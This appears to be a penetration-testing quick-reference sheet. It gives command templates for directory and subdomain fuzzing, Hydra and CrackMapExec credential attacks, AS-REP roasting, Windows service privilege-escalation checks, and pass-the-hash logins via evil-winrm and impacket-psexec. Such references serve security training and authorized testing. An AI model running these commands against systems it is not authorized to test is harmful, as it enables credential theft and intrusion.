# Tools Quick Use

#### **Dirsearch:**

* _dirsearch -u URL -l WORDLIST -x EXCLUDE\_STATUES -I INCLUDE\_STATUSES -e EXTENSION -t THREADS_

#### **Hydra:**

* _hydra -L USER\_FILE -P PASS\_FILE -t THREADS -e nsr -s PORT protocol://IP:PORT_

#### **SSH:**

* _ssh -o "ServerAliveInterval 60" server\_address -I priv\_key_

#### **nc Port scan:**

* _nc -z -w 1 -v IP PORTRANGE (start-end) 2>&1 | grep -I succeeded_

#### **Curl:**

* _curl -A/-H \[header] \[url]_

#### **Crackmapexec:**

* _crackmapexec type (winrm/smb) -u user/userfile -p pass/passfile IP_

#### **SNMPwalk:**

* _snmpwalk -v 2c -c public \[IP] \[OID/MIB]_

#### **Wfuzz:**

1. **Subdomain enum:**
   1. _wfuzz -u main\_host -w wordlist -H FUZZ.host.com --sc 200 --hc 302_

#### Dirbuster:

1. **Common extensions** php/asp/do/html/txt/
2. Scan **subdirectories** for services under a directory
3. Also use dirb/**big.txt** or multiple wordlists
4. Scan for **all http ports**

#### **GetNPUsers**

1. **AS-REP roasting** a. _GETNPUsers.py -no-pass -dc-ip IP domain/user or --users-list list_

#### **Wmic:**

1. **Weak service permissions**
   1. _wmic service list brief_
2. **Unquoted service paths**
   1. _wmic service get name,pathname,startmode | findstr /I "auto"_

#### **SC**

1. **Unquoted service paths**
   1. _sc query_
   2. _sc qc service name_

#### **Evil-winrm:**

1. **Pass-The-Hash**
   1. _evil-winrm -I host-ip -u user -H nthash_
2. **Download files:**
   1. _evil-winrm download file\_name_

#### **Impacket-psexec**

1. **Pass the hash**
   1. _impacket-psexec -hashes lm:nt username@ip_
